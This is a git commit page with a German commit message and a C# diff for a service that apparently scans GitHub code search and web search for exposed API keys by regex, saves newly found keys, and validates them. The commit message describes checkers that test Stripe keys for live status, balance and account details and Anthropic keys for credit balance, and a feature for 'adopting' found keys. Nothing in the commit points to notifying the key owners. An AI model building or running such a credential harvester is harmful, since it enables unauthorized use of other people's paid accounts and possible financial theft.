feat: DB-Explorer, Scanner-KeyTypes-Setting, Stripe-Checker, Anthropic-Auth-Fix, Progress-Tracking
Backend:
- Neuer Database Explorer Endpoint (GET /api/admin/db/tables, GET /api/admin/db/tables/{name})
- DatabaseService: public GetConnection() Methode
- StripeKeyChecker: 2-Schritt-Check (/v1/balance + /v1/account), erkennt Live/Test, Balance, Account-Details
- AnthropicKeyChecker: Auth-Header fix (x-api-key für API-Keys, Bearer für OAuth), 400-Handler für credit balance
- KeyPatterns: Stripe einkommentiert, Krea AI Pattern, AllTypes-Array, MinLength 4
- ServerSettingsService: string_array Typ (Get/SetStringArray), ScannerKeyTypes Setting mit Checkbox-Optionen
- ServerSettingsEndpoint: string_array Speichern (Array/CSV)
- KeyScannerService: GetActiveSearchPatterns() filtert nach ScannerKeyTypes, Progress-Tracking
- GitHubEventScannerService: CheckNewKeys nur für aktuelle Poll-Keys (statt alle unchecked), klarere Log-Meldung
Frontend:
- Database Explorer Page: Tabellenliste mit Klick -> Tabelleninhalt, Pagination, sticky Header
- Server Settings: Checkbox-Gruppe für string_array (Alle/Keine Buttons)
- API Keys: adoptedApiKeyId Fix (leerer String == null)
- Dashboard: DB-Explorer Link für Admins
- Scan-Progress: Live-Fortschritt mit Phase/Detail/Counter
This commit is contained in:
1 parent
3cd35ebbfa
commit
e61f3ef082
15 files changed
+642
-33
No files matched your search
@@ -77,10 +77,20 @@ public class KeyScannerService : BackgroundService
|
||||
|
||||
// ── GitHub Search Config ──
|
||||
|
||||
// Zentrale Key-Patterns aus KeyPatterns.cs (für Code Search: nur spezifische Suchterme)
|
||||
private static readonly (string Pattern, string SearchTerm, string Type)[] SearchPatterns = KeyPatterns.ForCodeSearch;
|
||||
// Alle Patterns für Regex-Matching im Dateiinhalt
|
||||
private static readonly Regex[] AllCompiledPatterns = KeyPatterns.Compiled;
|
||||
/// <summary>Gibt die aktiven Search-Patterns zurück, gefiltert nach ScannerKeyTypes-Setting.</summary>
|
||||
private (string Pattern, string SearchTerm, string Type)[] GetActiveSearchPatterns()
|
||||
{
|
||||
var allowed = new HashSet<string>(_settings.GetStringArray("ScannerKeyTypes"));
|
||||
if (allowed.Count == 0) return Array.Empty<(string, string, string)>();
|
||||
return KeyPatterns.ForCodeSearch.Where(p => allowed.Contains(p.Type)).ToArray();
|
||||
}
|
||||
|
||||
/// <summary>Prüft ob ein Key-Typ in den aktiven Scanner-Typen enthalten ist.</summary>
|
||||
private bool IsKeyTypeAllowed(string type)
|
||||
{
|
||||
var allowed = new HashSet<string>(_settings.GetStringArray("ScannerKeyTypes"));
|
||||
return allowed.Contains(type);
|
||||
}
|
||||
|
||||
private static readonly string[] SearchLanguages =
|
||||
{
|
||||
@@ -229,10 +239,11 @@ public class KeyScannerService : BackgroundService
|
||||
saveIdx++;
|
||||
SetProgress("Speichere Keys", totalFound + " gefunden, prüfe Duplikate…", saveIdx, totalFound);
|
||||
if (!seen.Add(key)) continue;
|
||||
if (await _db.ScannedKeyExists(key) || await _db.ApiKeyExistsInKeys(key))
|
||||
continue;
|
||||
|
||||
var keyType = DetectKeyType(key);
|
||||
|
||||
if (await _db.ScannedKeyExists(key) || await _db.ApiKeyExistsInKeys(key))
|
||||
continue;
|
||||
var keyPrefix = key[..Math.Min(20, key.Length)] + "...";
|
||||
var typeName = KeyPatterns.DisplayName(keyType);
|
||||
|
||||
@@ -300,8 +311,9 @@ public class KeyScannerService : BackgroundService
|
||||
{
|
||||
var allKeys = new Dictionary<string, string>(StringComparer.Ordinal);
|
||||
var queries = new List<(string Query, Regex Regex)>();
|
||||
var activePatterns = GetActiveSearchPatterns();
|
||||
|
||||
foreach (var (pattern, searchTerm, _) in SearchPatterns)
|
||||
foreach (var (pattern, searchTerm, _) in activePatterns)
|
||||
{
|
||||
var regex = new Regex(pattern, RegexOptions.Compiled);
|
||||
foreach (var lang in QuickLanguages)
|
||||
@@ -493,10 +505,11 @@ public class KeyScannerService : BackgroundService
|
||||
return keys;
|
||||
}
|
||||
|
||||
private static List<(string Query, Regex Regex)> BuildSearchQueries()
|
||||
private List<(string Query, Regex Regex)> BuildSearchQueries()
|
||||
{
|
||||
var queries = new List<(string, Regex)>();
|
||||
foreach (var (pattern, searchTerm, _) in SearchPatterns)
|
||||
var activePatterns = GetActiveSearchPatterns();
|
||||
foreach (var (pattern, searchTerm, _) in activePatterns)
|
||||
{
|
||||
var regex = new Regex(pattern, RegexOptions.Compiled);
|
||||
foreach (var lang in SearchLanguages)
|
||||
@@ -525,12 +538,13 @@ public class KeyScannerService : BackgroundService
|
||||
var allKeys = new Dictionary<string, string>(StringComparer.Ordinal);
|
||||
var client = _httpFactory.CreateClient();
|
||||
client.DefaultRequestHeaders.Add("X-API-KEY", _serperApiKey);
|
||||
var activePatterns = GetActiveSearchPatterns();
|
||||
|
||||
for (int i = 0; i < SearchPatterns.Length; i++)
|
||||
for (int i = 0; i < activePatterns.Length; i++)
|
||||
{
|
||||
var (pattern, searchTerm, _) = SearchPatterns[i];
|
||||
var (pattern, searchTerm, _) = activePatterns[i];
|
||||
ct.ThrowIfCancellationRequested();
|
||||
SetProgress("Web-Suche (Serper)", searchTerm, i + 1, SearchPatterns.Length);
|
||||
SetProgress("Web-Suche (Serper)", searchTerm, i + 1, activePatterns.Length);
|
||||
var regex = new Regex(pattern, RegexOptions.Compiled);
|
||||
|
||||
try
|
||||
|
||||
Reference in new issue
Block a user